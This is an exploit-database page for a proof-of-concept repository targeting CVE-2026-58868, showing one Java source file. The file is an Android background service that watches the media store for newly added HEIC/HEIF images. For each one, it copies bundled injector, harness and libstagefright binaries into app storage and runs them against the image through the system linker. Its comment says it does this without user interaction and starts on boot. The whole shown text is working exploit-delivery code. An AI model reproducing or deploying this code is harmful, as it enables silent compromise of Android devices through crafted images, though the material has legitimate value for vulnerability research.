Exploit databaseDownload repository ZIP
GH-6e0f88ff03ddf4d23f187227c961c0ab
redfishrouge/cve-2026-58868-poc
Sources for CVE-2026-58868
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
redfishrouge/cve-2026-58868-pocRevision d37c7a14b9c3
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
harness/src/p/poc/WatchService.java
Java · 5,747 bytespackage p.poc;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.Intent;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.IBinder;
import android.provider.MediaStore;
import android.util.Log;
import java.io.InputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
/**
* Watches MediaStore for freshly added HEIC/HEIF files and runs the exploit on
* them without user interaction. Started on boot and on first launch.
*/
public class WatchService extends Service {
private static final String TAG = "POC";
private static final long WINDOW_S = 120;
private static long lastId = -1;
private static long lastAt = 0;
private HandlerThread t;
private Handler h;
private final ContentObserver obs = new ContentObserver(new Handler()) {
@Override public void onChange(boolean self) { schedule(); }
};
@Override public void onCreate() {
super.onCreate();
t = new HandlerThread("watch");
t.start();
h = new Handler(t.getLooper());
try {
getContentResolver().registerContentObserver(
MediaStore.Files.getContentUri("external"), true, obs);
} catch (Throwable e) { Log.e(TAG, "observe", e); }
startForeground(1, notif());
h.postDelayed(this::tick, 1500);
}
@Override public int onStartCommand(Intent i, int f, int id) {
schedule();
return START_STICKY;
}
@Override public IBinder onBind(Intent i) { return null; }
private Notification notif() {
NotificationManager nm = getSystemService(NotificationManager.class);
nm.createNotificationChannel(new NotificationChannel("w", "watch", NotificationManager.IMPORTANCE_MIN));
return new Notification.Builder(this, "w")
.setContentTitle("poc").setContentText("watching HEIC").setSmallIcon(android.R.drawable.stat_sys_download_done)
.build();
}
private void schedule() { if (h != null) h.postDelayed(this::tick, 300); }
private void tick() {
Log.i(TAG, "tick");
try { scan(); } finally { if (h != null) h.postDelayed(this::tick, 2500); }
}
private synchronized void scan() {
if (System.currentTimeMillis() - lastAt < 4000) return;
Uri base = MediaStore.Files.getContentUri("external");
String[] proj = { MediaStore.MediaColumns._ID, MediaStore.MediaColumns.DISPLAY_NAME, MediaStore.MediaColumns.DATE_ADDED };
String sel = "(" + MediaStore.MediaColumns.MIME_TYPE + " LIKE 'image/he%')";
long since = System.currentTimeMillis() / 1000 - WINDOW_S;
try (Cursor c = getContentResolver().query(base, proj,
sel + " AND " + MediaStore.MediaColumns.DATE_ADDED + " >= " + since,
null, MediaStore.MediaColumns.DATE_ADDED + " DESC")) {
if (c == null || !c.moveToFirst()) return;
long id = c.getLong(0);
String name = c.getString(1);
long added = c.getLong(2);
if (name == null || !name.toLowerCase().matches(".*\\.(heic|heif)$")) return;
if (id == lastId) return;
lastId = id;
lastAt = System.currentTimeMillis();
Uri uri = ContentUris.withAppendedId(base, id);
Log.i(TAG, "new file " + name + " -> " + uri);
final Uri u = uri; final String nm = name;
new Thread(() -> fire(u, nm)).start();
} catch (Throwable e) { Log.e(TAG, "scan", e); }
}
private void fire(Uri uri, String name) {
try {
File dir = getFilesDir();
File inj = new File(dir, "injector");
File har = new File(dir, "harness");
File sf = new File(dir, "libstagefright.so");
inj.delete(); har.delete();
copy("injector", inj); copy("harness", har);
if (!sf.exists()) copy("libstagefright.so", sf);
File img = new File(getCacheDir(), "auto.heic");
try (InputStream in = getContentResolver().openInputStream(uri);
OutputStream out = new FileOutputStream(img)) {
byte[] b = new byte[65536]; int n;
while ((n = in.read(b)) > 0) out.write(b, 0, n);
}
ProcessBuilder pb = new ProcessBuilder("/system/bin/linker64",
inj.getAbsolutePath(), har.getAbsolutePath(), img.getAbsolutePath());
pb.redirectErrorStream(true);
pb.environment().put("LD_LIBRARY_PATH", dir.getAbsolutePath());
for (int attempt = 0; attempt < 3; attempt++) {
Process p = pb.start();
byte[] buf = new byte[4096]; int n;
while ((n = p.getInputStream().read(buf)) > 0) Log.i(TAG, new String(buf, 0, n).trim());
int rc = p.waitFor();
Log.i(TAG, "auto rc=" + rc + " try=" + attempt);
if (rc == 0) break;
Thread.sleep(500);
}
} catch (Throwable e) { Log.e(TAG, "fire", e); }
}
private void copy(String a, File d) throws Exception {
try (InputStream in = getAssets().open(a); OutputStream out = new FileOutputStream(d)) {
byte[] b = new byte[65536]; int n;
while ((n = in.read(b)) > 0) out.write(b, 0, n);
}
d.setReadable(true, false); d.setExecutable(true, false);
}
}